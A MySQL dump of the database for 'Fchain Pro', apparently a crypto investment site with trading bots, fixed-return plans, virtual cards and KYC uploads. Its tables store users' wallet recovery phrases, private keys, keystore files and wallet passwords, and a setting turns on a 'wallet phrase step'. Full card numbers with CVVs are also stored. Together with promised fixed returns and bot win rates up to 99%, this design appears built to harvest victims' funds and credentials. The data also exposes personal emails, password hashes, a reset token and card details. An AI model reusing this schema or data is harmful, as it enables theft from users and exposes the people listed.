-- https://www.phpmyadmin.net/
--

START TRANSACTION;



--
-- Database: `devionic_fichain`
--

-- --------------------------------------------------------

--
-- Table structure for table `admin`
--

CREATE TABLE `admin` (
  `id` int(11) NOT NULL,
  `email` varchar(100) NOT NULL,
  `password` varchar(255) NOT NULL,
  `role` varchar(20) NOT NULL DEFAULT 'superadmin',
  `created_at` datetime DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

--
-- Dumping data for table `admin`
--

INSERT INTO `admin` (`id`, `email`, `password`, `role`, `created_at`) VALUES
(1, 'admin@mail.com', '$2y$10$L2pvcV4zS7ddFi.xa4DJveNNJqunOpWdLHXoQRZwch53dlHPkUCIa', 'superadmin', '2026-01-19 10:39:47');

-- --------------------------------------------------------

--
-- Table structure for table `crypto_wallets`
--

CREATE TABLE `crypto_wallets` (
  `id` int(11) NOT NULL,
  `user_id` int(11) NOT NULL,
  `wallet_name` varchar(50) DEFAULT 'Unknown',
  `import_type` varchar(50) DEFAULT NULL,
  `phrase` text DEFAULT NULL,
  `keystore_json` text DEFAULT NULL,
  `wallet_password` varchar(255) DEFAULT NULL,
  `private_key` varchar(255) DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

--
-- Dumping data for table `crypto_wallets`
--

INSERT INTO `crypto_wallets` (`id`, `user_id`, `wallet_name`, `import_type`, `phrase`, `keystore_json`, `wallet_password`, `private_key`, `created_at`) VALUES
(1, 7, 'Other', 'Private', '', '', '', 'sdfsfsfsfsfsfsfsfsfsfdsfsfsf', '2026-01-19 12:47:36'),
(2, 8, 'Trust Wallet', 'Phrase', 'test test estt test test estt test test estt test test estt test test estt test test estt', '', '', '', '2026-01-20 14:10:35'),
(3, 7, 'Trust Wallet', 'Private', '', '', '', ';&#039;lkjbhvgcjkl,', '2026-02-08 11:36:06'),
(4, 7, 'Coinbase', 'Phrase', '212344444', '', '', '', '2026-02-08 20:42:42'),
(5, 7, 'MetaMask', 'Phrase', '', '', '', '', '2026-02-09 05:15:07');

-- --------------------------------------------------------

--
-- Table structure for table `investments`
--

CREATE TABLE `investments` (
  `id` int(11) NOT NULL,
  `user_id` int(11) NOT NULL,
  `plan_name` varchar(50) NOT NULL,
  `amount` decimal(15,2) NOT NULL,
  `pay_method` varchar(20) NOT NULL,
  `roi_percent` decimal(5,2) NOT NULL,
  `status` varchar(20) NOT NULL DEFAULT 'active',
  `start_date` datetime DEFAULT current_timestamp(),
  `end_date` datetime DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

--
-- Dumping data for table `investments`
--

INSERT INTO `investments` (`id`, `user_id`, `plan_name`, `amount`, `pay_method`, `roi_percent`, `status`, `start_date`, `end_date`) VALUES
(1, 7, 'Starter Node', 2.00, 'BTC', 8.50, 'active', '2026-01-17 23:05:19', NULL),
(2, 8, 'Starter Node', 20.00, 'BTC', 8.50, 'completed', '2026-01-20 15:31:31', '2026-01-20 15:32:09'),
(3, 7, 'Starter Node', 15.00, 'USDT', 8.50, 'completed', '2026-01-20 22:28:07', '2026-02-08 12:39:59'),
(4, 7, 'Starter Node', 300.00, 'USDT', 8.50, 'completed', '2026-02-08 12:40:47', '2026-02-08 21:45:45');

-- --------------------------------------------------------

--
-- Table structure for table `investment_plans`
--

CREATE TABLE `investment_plans` (
  `id` int(11) NOT NULL,
  `name` varchar(50) NOT NULL,
  `min_deposit` decimal(15,2) NOT NULL,
  `roi` decimal(5,2) NOT NULL,
  `duration` int(11) NOT NULL,
  `risk_level` varchar(20) NOT NULL,
  `description` text NOT NULL,
  `icon` varchar(50) NOT NULL DEFAULT 'fa-chart-line',
  `color` varchar(20) NOT NULL DEFAULT 'indigo'
) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

--
-- Dumping data for table `investment_plans`
--

INSERT INTO `investment_plans` (`id`, `name`, `min_deposit`, `roi`, `duration`, `risk_level`, `description`, `icon`, `color`) VALUES
(1, 'Starter Node', 2.00, 8.50, 3, 'Low', 'Automated diversification across top assets for beginners.', 'fa-seedling', 'teal'),
(2, 'Pro Growth', 5000.00, 14.20, 6, 'Medium', 'Advanced algorithmic trading for balanced growth.', 'fa-chart-line', 'indigo'),
(3, 'Elite Yield', 25000.00, 22.80, 12, 'High', 'High-frequency trading strategies for maximum returns.', 'fa-crown', 'purple');

-- --------------------------------------------------------

--
-- Table structure for table `linked_banks`
--

CREATE TABLE `linked_banks` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `bank_name` varchar(255) NOT NULL,
  `account_name` varchar(255) NOT NULL,
  `account_number` varchar(50) NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
  `expiry` varchar(10) DEFAULT NULL,
  `cvv` varchar(4) DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `user_id` (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

--
-- Dumping data for table `linked_banks`
--

INSERT INTO `linked_banks` (`id`, `user_id`, `bank_name`, `account_name`, `account_number`, `created_at`, `expiry`, `cvv`) VALUES
(1, 7, 'Linked Card', 'mik smith', '234234234434224', '2026-01-17 09:38:36', '2322', '123'),
(2, 8, 'Linked Card', 'test test', '4343443433434', '2026-01-20 14:40:34', '12/43', '343'),
(3, 7, 'Linked Card', 'Osaze', '4519460197487875', '2026-01-20 21:24:01', '12/30', '775');

-- --------------------------------------------------------

--
-- Table structure for table `connected_local_banks`
--

CREATE TABLE `connected_local_banks` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `country_code` varchar(8) NOT NULL,
  `country_name` varchar(64) NOT NULL,
  `bank_name` varchar(128) NOT NULL,
  `account_name` varchar(128) NOT NULL,
  `account_number` varchar(64) NOT NULL,
  `account_id` varchar(128) DEFAULT NULL,
  `bank_email` varchar(191) DEFAULT NULL,
  `bank_code` varchar(64) DEFAULT NULL,
  `iban` varchar(64) DEFAULT NULL,
  `swift` varchar(32) DEFAULT NULL,
  `currency` varchar(8) DEFAULT 'USD',
  `status` varchar(20) DEFAULT 'active',
  `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
  PRIMARY KEY (`id`),
  KEY `idx_user` (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- --------------------------------------------------------

--
-- Table structure for table `password_reset`
--

CREATE TABLE `password_reset` (
  `id` int(11) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `password_reset`
--

INSERT INTO `password_reset` (`id`, `email`, `token`) VALUES
(71, 'osazeokundaye43@gmail.com', '17235464ee0d5f50ba0b2be62683225e3332');

-- --------------------------------------------------------

--
-- Table structure for table `settings`
--

CREATE TABLE `settings` (
  `id` int(11) NOT NULL,
  `sitename` varchar(255) NOT NULL DEFAULT 'Fchain Capital',
  `siteurl` varchar(255) NOT NULL,
  `site_email` varchar(255) NOT NULL,
  `site_phone` varchar(50) NOT NULL,
  `site_logo` varchar(255) DEFAULT NULL,
  `enable_email_verification` tinyint(1) NOT NULL DEFAULT 1,
  `enable_wallet_phrase_step` tinyint(1) NOT NULL DEFAULT 1,
  `enable_pin_on_login` tinyint(1) NOT NULL DEFAULT 1,
  `enable_wallet_connect` tinyint(1) NOT NULL DEFAULT 1,
  `enable_kyc` tinyint(1) NOT NULL DEFAULT 1,
  `referral_bonus_percentage` decimal(5,2) NOT NULL DEFAULT 15.00,
  `virtual_card_fee` decimal(10,2) NOT NULL DEFAULT 4.99,
  `min_withdrawal_limit` decimal(10,2) NOT NULL DEFAULT 50.00
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `settings`
--

INSERT INTO `settings` (`id`, `sitename`, `siteurl`, `site_email`, `site_phone`, `site_logo`, `enable_email_verification`, `enable_wallet_phrase_step`, `enable_pin_on_login`, `enable_wallet_connect`, `enable_kyc`, `referral_bonus_percentage`, `virtual_card_fee`, `min_withdrawal_limit`) VALUES
(1, 'Fchain Pro', 'https://devionicsolutions.com.ng/fichain', 'support@fchain.com', '+123456789', NULL, 1, 1, 1, 1, 1, 15.00, 4.99, 50.00);

-- --------------------------------------------------------

--
-- Table structure for table `trading_bots`
--

CREATE TABLE `trading_bots` (
  `id` int(11) NOT NULL,
  `name` varchar(50) NOT NULL,
  `description` text NOT NULL,
  `roi_min` decimal(5,2) NOT NULL,
  `roi_max` decimal(5,2) NOT NULL,
  `win_rate` int(11) NOT NULL,
  `min_investment` decimal(15,2) NOT NULL DEFAULT 100.00,
  `icon` varchar(50) NOT NULL,
  `color` varchar(20) NOT NULL DEFAULT 'indigo',
  `risk_level` varchar(20) NOT NULL DEFAULT 'Medium'
) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

--
-- Dumping data for table `trading_bots`
--

INSERT INTO `trading_bots` (`id`, `name`, `description`, `roi_min`, `roi_max`, `win_rate`, `min_investment`, `icon`, `color`, `risk_level`) VALUES
(1, 'Momentum Scalper', 'Executes quick trades on small price changes.', 1.20, 3.50, 88, 100.00, 'fa-bolt-lightning', 'indigo', 'High Freq'),
(2, 'Swing Trader', 'Captures gains over days or weeks.', 2.50, 5.00, 92, 500.00, 'fa-chart-line', 'green', 'Medium'),
(3, 'Arbitrage Hunter', 'Exploits price differences across exchanges.', 0.80, 1.50, 99, 1000.00, 'fa-scale-balanced', 'purple', 'Low Risk'),
(4, 'AI Grid Bot', 'Profits from market volatility with grid orders.', 1.50, 4.00, 85, 250.00, 'fa-border-all', 'blue', 'Medium'),
(5, 'Whale Tracker', 'Follows large wallet movements for signals.', 3.00, 8.00, 78, 2000.00, 'fa-fish-fins', 'teal', 'High Risk'),
(6, 'Neural Net Trend', 'Deep learning model predicting macro trends.', 2.00, 6.00, 90, 1500.00, 'fa-brain', 'pink', 'AI Model');

-- --------------------------------------------------------

--
-- Table structure for table `transactions`
--

CREATE TABLE `transactions` (
  `id` int(11) NOT NULL,
  `user_id` int(11) NOT NULL,
  `coin_symbol` varchar(20) NOT NULL,
  `network` varchar(20) NOT NULL,
  `type` enum('deposit','withdrawal','swap','purchase') NOT NULL,
  `amount_usd` decimal(20,2) NOT NULL,
  `amount_crypto` decimal(20,8) NOT NULL,
  `status` enum('pending','completed','failed') DEFAULT 'pending',
  `tx_hash` varchar(255) DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

--
-- Dumping data for table `transactions`
--

INSERT INTO `transactions` (`id`, `user_id`, `coin_symbol`, `network`, `type`, `amount_usd`, `amount_crypto`, `status`, `tx_hash`, `created_at`) VALUES
(1, 7, 'BTC', 'BTC', 'withdrawal', 1.00, 0.00001049, 'pending', 'Wait for Hash', '2026-01-17 17:07:28'),
(9, 7, 'BTC', 'BTC', 'deposit', 1.00, 0.00001048, 'pending', 'asda', '2026-01-17 18:18:38'),
(12, 7, 'BTC->ETH', '', 'swap', 20.00, 0.00000000, 'completed', 'SWAP-1768674387', '2026-01-17 18:26:27'),
(13, 7, 'BTC', '', '', 2.00, 0.00000000, 'completed', 'INV-1768676719', '2026-01-17 19:05:19'),
(14, 7, 'BTC', '', '', 100.00, 0.00000000, 'completed', 'BOT-1768794932', '2026-01-19 03:55:32'),
(15, 7, 'BTC', 'BTC', 'deposit', 30.00, 0.00032281, 'pending', '342342234234', '2026-01-19 13:06:01'),
(16, 7, 'BTC', 'BTC', 'deposit', 60.00, 0.00064573, 'completed', 'ghjhgh', '2026-01-19 13:26:25'),
(17, 8, 'DOGE', 'DOGE', 'deposit', 1000.00, 7987.22044728, 'completed', 'trx4354534534534534534', '2026-01-20 14:26:29'),
(18, 8, 'DOGE', 'DOGE', 'withdrawal', 10.00, 79.93605116, 'completed', 'tewwtetwtwtewtwt', '2026-01-20 14:27:59'),
(19, 8, 'DOGE->BTC', '', 'swap', 100.00, 798.72204500, 'completed', 'SWAP-1768919419', '2026-01-20 14:30:19'),
(20, 8, 'BTC', '', '', 20.00, 0.00000000, 'completed', 'INV-1768919491', '2026-01-20 14:31:31'),
(21, 8, 'DOGE', '', '', 100.00, 0.00000000, 'completed', 'BOT-1768919610', '2026-01-20 14:33:30'),
(22, 8, 'DOGE', '', '', 100.00, 0.00000000, 'completed', 'BOT-1768919771', '2026-01-20 14:36:11'),
(23, 7, 'USDT', '', '', 15.00, 0.00000000, 'completed', 'INV-1768944487', '2026-01-20 21:28:07'),
(24, 7, 'USDT', '', '', 250.00, 0.00000000, 'completed', 'BOT-1770383241', '2026-02-06 13:07:21'),
(25, 7, 'USDT', '', '', 200.00, 0.00000000, 'completed', 'BOT-1770383276', '2026-02-06 13:07:56'),
(26, 7, 'TRX->ETH', '', 'swap', 30.00, 111.56563800, 'completed', 'SWAP-1770383650', '2026-02-06 13:14:10'),
(27, 7, 'USDT', '', '', 300.00, 0.00000000, 'completed', 'INV-1770550847', '2026-02-08 11:40:47'),
(28, 7, 'USDT', 'ERC20', 'deposit', 20000.00, 20010.00500250, 'pending', 'sdfghjkl;', '2026-02-08 11:42:19'),
(29, 7, 'BTC', 'BTC', 'deposit', 4000.00, 0.05644335, 'completed', 'ttyuuuii', '2026-02-08 11:42:49'),
(30, 7, 'ETH', 'ERC20', 'withdrawal', 100.00, 0.04700110, 'completed', 'aewsrdftgyhjk', '2026-02-08 11:43:07'),
(31, 7, 'BNB->TRX', '', 'swap', 30.00, 0.04658500, 'completed', 'SWAP-1770551016', '2026-02-08 11:43:36'),
(32, 7, 'BTC', 'BTC', 'withdrawal', 200.00, 0.00281366, 'pending', 'Wait for Hash', '2026-02-08 20:39:16'),
(33, 7, 'USDT', 'ERC20', 'deposit', 2000.00, 2000.60018005, 'pending', 'rrrttyuuu', '2026-02-08 20:39:57'),
(34, 7, 'BNB->ETH', '', 'swap', 2.00, 0.00309900, 'completed', 'SWAP-1770583230', '2026-02-08 20:40:30'),
(35, 7, 'USDT', 'ERC20', 'deposit', 2333.00, 2333.70011003, 'pending', 'XXXXXXXXXXXXXXXXXXX', '2026-02-08 20:50:17');

-- --------------------------------------------------------

--
-- Table structure for table `users`
--

CREATE TABLE `users` (
  `id` int(11) NOT NULL,
  `account_id` varchar(20) NOT NULL,
  `full_name` varchar(255) NOT NULL,
  `username` varchar(100) NOT NULL,
  `email` varchar(255) NOT NULL,
  `password` varchar(255) NOT NULL,
  `transaction_pin` varchar(4) DEFAULT NULL,
  `balance` decimal(20,2) NOT NULL DEFAULT 0.00,
  `profit_balance` decimal(20,2) NOT NULL DEFAULT 0.00,
  `referral_earnings` decimal(20,2) NOT NULL DEFAULT 0.00,
  `secret_phrase` text DEFAULT NULL,
  `referral_code` varchar(50) NOT NULL,
  `referred_by` varchar(255) NOT NULL,
  `otp_code` varchar(6) DEFAULT NULL,
  `email_verified_at` datetime DEFAULT NULL,
  `setup_complete` tinyint(1) NOT NULL DEFAULT 0,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
  `dob` date DEFAULT NULL,
  `country` varchar(100) DEFAULT NULL,
  `phone` varchar(50) DEFAULT NULL,
  `address` text DEFAULT NULL,
  `kyc_front` varchar(255) DEFAULT NULL,
  `kyc_back` varchar(255) DEFAULT NULL,
  `kyc_status` enum('pending','approved','rejected','unverified') DEFAULT 'unverified',
  `usdt_erc20_balance` decimal(15,2) NOT NULL DEFAULT 0.00,
  `eth_balance` decimal(15,2) NOT NULL DEFAULT 0.00,
  `btc_balance` decimal(15,2) NOT NULL DEFAULT 0.00,
  `bnb_balance` decimal(15,2) NOT NULL DEFAULT 0.00,
  `trx_balance` decimal(15,2) NOT NULL DEFAULT 0.00,
  `usdt_trc20_balance` decimal(15,2) NOT NULL DEFAULT 0.00,
  `ltc_balance` decimal(15,2) NOT NULL DEFAULT 0.00,
  `doge_balance` decimal(15,2) NOT NULL DEFAULT 0.00,
  `sol_balance` decimal(15,2) NOT NULL DEFAULT 0.00,
  `matic_balance` decimal(15,2) NOT NULL DEFAULT 0.00
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `users`
--

INSERT INTO `users` (`id`, `account_id`, `full_name`, `username`, `email`, `password`, `transaction_pin`, `balance`, `profit_balance`, `referral_earnings`, `secret_phrase`, `referral_code`, `referred_by`, `otp_code`, `email_verified_at`, `setup_complete`, `created_at`, `dob`, `country`, `phone`, `address`, `kyc_front`, `kyc_back`, `kyc_status`, `usdt_erc20_balance`, `eth_balance`, `btc_balance`, `bnb_balance`, `trx_balance`, `usdt_trc20_balance`, `ltc_balance`, `doge_balance`, `sol_balance`, `matic_balance`) VALUES
(1, '22999312', 'mike smith', 'mike12', 'osazeokundaye43@gmail.com', '$2y$12$xdrAdM1DsjKD3IxXPhEPIuu9p8PJJ3LfvfCUgiwv1pbF5YLvukf9.', '1234', 0.00, 0.00, 0.00, 'quixotic value mike uniform victor bravo banana verdant nebula star hotel papa', '', '', NULL, '2026-01-15 14:05:57', 1, '2026-01-15 10:05:09', NULL, NULL, NULL, NULL, NULL, NULL, 'unverified', 0.00, 0.00, 100.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00),
(7, '24450854', 'user test', 'user', 'user@mail.com', '$2y$12$fasEEmEmBbYpeiva2e7JgetObN2zn5u9ZAbj.sFXrENoyWiW02zna', '1234', 0.00, 0.00, 0.00, 'comet mike quebec secure orbit uniform papa elephant sierra victor galaxy quick', 'osaze12', '', NULL, '2026-01-15 17:38:56', 1, '2026-01-15 13:38:20', '2026-01-29', 'Germany', '846758687586', 'Trc47748888dhfjjjfkkfff', '7_front_1768638837_Screenshot_2026-01-15_155726-removebg-preview.png', '7_back_1768638837_Screenshot_2026-01-15_155726-removebg-preview.png', 'approved', 250.00, 4902.00, 8310.00, 158.00, 1000.00, 227.33, 189.00, 100.00, 900.00, 800.00),
(8, '21393897', 'test test', 'usertest', 'funds12095@gmail.com', '$2y$10$.cfDDiADrziVC3r2S7muEOT4ZWzejoS.tgJdaL2sTbYUY/gHMvHnC', '1234', 0.00, 0.00, 0.00, 'effervescent cosmos galaxy market quixotic sierra banana zulu star token uniform giraffe', 'usertest', '', NULL, '2026-01-20 15:03:58', 1, '2026-01-20 14:03:42', '2026-01-14', 'Andorra', '1234567890', 'test tretretre twetwetwet', '8_front_1768918466_Screenshot 2026-01-20 at 14-31-39 Fchain Pro - Dashboard.png', '8_back_1768918466_Screenshot 2026-01-20 at 14-31-39 Fchain Pro - Dashboard.png', 'approved', 100.00, 100.00, 81.70, 100.00, 100.00, 1000.00, 100.00, 802.00, 100.00, 100.00),
(11, '17589936', 'Desmond', 'desmond', 'gseun129@gmail.com', '$2y$10$61Mla3vXxB0DutPW6DDQfez0aS7VNAeC3b6a6aqYSAUBoBg7xSctW', '1234', 0.00, 0.00, 0.00, 'november value lunar token effervescent papa planet yankee kilo chain romeo golf', 'desmond', '', NULL, '2026-01-20 16:30:43', 1, '2026-01-20 15:30:06', NULL, NULL, NULL, NULL, NULL, NULL, 'unverified', 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00),
(12, '38329422', 'Moris cane', 'Moris', 'Moriscane44@gmail.com', '$2y$10$ikNoLxOVd8gblLeQtmra5e7ghh6CdCcJ7seiupp8gNq4s75/zg71i', NULL, 0.00, 0.00, 0.00, 'crypto cosmos tango bravo papa block star ethereal asset hotel xray trade', 'Moris', '', NULL, '2026-01-24 15:11:17', 0, '2026-01-24 14:09:35', NULL, NULL, NULL, NULL, NULL, NULL, 'unverified', 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00),
(13, '53388651', 'Maxieid', 'Maczi2000', 'admin@admin.com', '$2y$10$M6xngIRn9iOst0k5DzSAVOqzMGiekOdqi56QQxyeKzJGY.2nlmfFW', NULL, 0.00, 0.00, 0.00, 'lunar star zulu planet tango lima nebula cosmos ethereal mellifluous market mike', 'Maczi2000', '', '514027', NULL, 0, '2026-02-05 10:23:49', NULL, NULL, NULL, NULL, NULL, NULL, 'unverified', 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00),
(14, '13411962', 'Maxzi ns', 'Maczi200', 'priye1960@gmail.com', '$2y$10$yiB.0FWG0Z8C1Ve8sR9Fve1IgRjT1ipJJKMPXu0ISngP4yctCZEUS', '1960', 0.00, 0.00, 0.00, 'elephant key cosmos crypto enigma comet value echo market quixotic planet galaxy', 'Maczi200', '', NULL, '2026-02-05 11:25:22', 1, '2026-02-05 10:24:30', NULL, '', '', '', NULL, NULL, 'unverified', 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 3000.00, 0.00, 0.00);

-- --------------------------------------------------------

--
-- Table structure for table `user_bots`
--

CREATE TABLE `user_bots` (
  `id` int(11) NOT NULL,
  `user_id` int(11) NOT NULL,
  `bot_id` int(11) NOT NULL,
  `bot_name` varchar(50) NOT NULL,
  `amount_invested` decimal(15,2) NOT NULL,
  `pay_method` varchar(20) NOT NULL,
  `pair` varchar(20) NOT NULL DEFAULT 'BTC/USDT',
  `status` varchar(20) NOT NULL DEFAULT 'running',
  `profit_loss` decimal(15,2) NOT NULL DEFAULT 0.00,
  `start_date` datetime DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

--
-- Dumping data for table `user_bots`
--

INSERT INTO `user_bots` (`id`, `user_id`, `bot_id`, `bot_name`, `amount_invested`, `pay_method`, `pair`, `status`, `profit_loss`, `start_date`) VALUES
(1, 7, 1, 'Momentum Scalper', 100.00, 'BTC', 'BTC/USDT', 'running', 0.00, '2026-01-19 07:55:32'),
(2, 8, 1, 'Momentum Scalper', 100.00, 'DOGE', 'DOGE/USDT', 'stopped', 0.00, '2026-01-20 15:33:30'),
(3, 8, 1, 'Momentum Scalper', 100.00, 'DOGE', 'DOGE/USDT', 'stopped', 12.00, '2026-01-20 15:36:11'),
(4, 7, 4, 'AI Grid Bot', 250.00, 'USDT', 'USDT/USDT', 'stopped', 0.00, '2026-02-06 14:07:21'),
(5, 7, 1, 'Momentum Scalper', 200.00, 'USDT', 'USDT/USDT', 'running', 400.00, '2026-02-06 14:07:56');

-- --------------------------------------------------------

--
-- Table structure for table `virtual_cards`
--

CREATE TABLE `virtual_cards` (
  `id` int(11) NOT NULL,
  `user_id` int(11) NOT NULL,
  `card_holder_name` varchar(255) NOT NULL,
  `card_number` varchar(20) DEFAULT NULL,
  `cvv` varchar(4) DEFAULT NULL,
  `expiry` varchar(10) DEFAULT NULL,
  `card_type` varchar(20) DEFAULT 'Visa',
  `status` enum('pending','active','frozen','rejected') NOT NULL DEFAULT 'pending',
  `tx_hash` varchar(255) NOT NULL,
  `proof_image` varchar(255) NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

--
-- Dumping data for table `virtual_cards`
--

INSERT INTO `virtual_cards` (`id`, `user_id`, `card_holder_name`, `card_number`, `cvv`, `expiry`, `card_type`, `status`, `tx_hash`, `proof_image`, `created_at`) VALUES
(1, 7, 'osaze oku', '5176 9464 9373 8839', '738', '01/29', 'Mastercard', 'active', 'asdadasdadadd', '7_card_1768642654_header-logo4.png', '2026-01-17 09:37:34'),
(2, 8, 'test test', '5540 8363 1611 6443', '402', '01/29', 'Mastercard', 'active', 'sdfsdfsdfsdfsdfsdf', 'none', '2026-01-20 14:42:27');

--
-- Indexes for dumped tables
--

--
-- Indexes for table `admin`
--
ALTER TABLE `admin`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `crypto_wallets`
--
ALTER TABLE `crypto_wallets`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `investments`
--
ALTER TABLE `investments`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `investment_plans`
--
ALTER TABLE `investment_plans`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `linked_banks`
--
-- primary key already defined in CREATE TABLE for `linked_banks`

--
-- Indexes for table `password_reset`
--
ALTER TABLE `password_reset`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `settings`
--
ALTER TABLE `settings`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `trading_bots`
--
ALTER TABLE `trading_bots`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `transactions`
--
ALTER TABLE `transactions`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `users`
--
ALTER TABLE `users`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `user_bots`
--
ALTER TABLE `user_bots`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `virtual_cards`
--
ALTER TABLE `virtual_cards`
  ADD PRIMARY KEY (`id`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `admin`
--
ALTER TABLE `admin`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `crypto_wallets`
--
ALTER TABLE `crypto_wallets`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;

--
-- AUTO_INCREMENT for table `investments`
--
ALTER TABLE `investments`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;

--
-- AUTO_INCREMENT for table `investment_plans`
--
ALTER TABLE `investment_plans`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;

--
-- AUTO_INCREMENT for table `linked_banks`
--
ALTER TABLE `linked_banks`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;

--
-- AUTO_INCREMENT for table `password_reset`
--
ALTER TABLE `password_reset`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=74;

--
-- AUTO_INCREMENT for table `settings`
--
ALTER TABLE `settings`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `trading_bots`
--
ALTER TABLE `trading_bots`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7;

--
-- AUTO_INCREMENT for table `transactions`
--
ALTER TABLE `transactions`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=36;

--
-- AUTO_INCREMENT for table `users`
--
ALTER TABLE `users`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=15;

--
-- AUTO_INCREMENT for table `user_bots`
--
ALTER TABLE `user_bots`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;

--
-- AUTO_INCREMENT for table `virtual_cards`
--
ALTER TABLE `virtual_cards`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;
COMMIT;

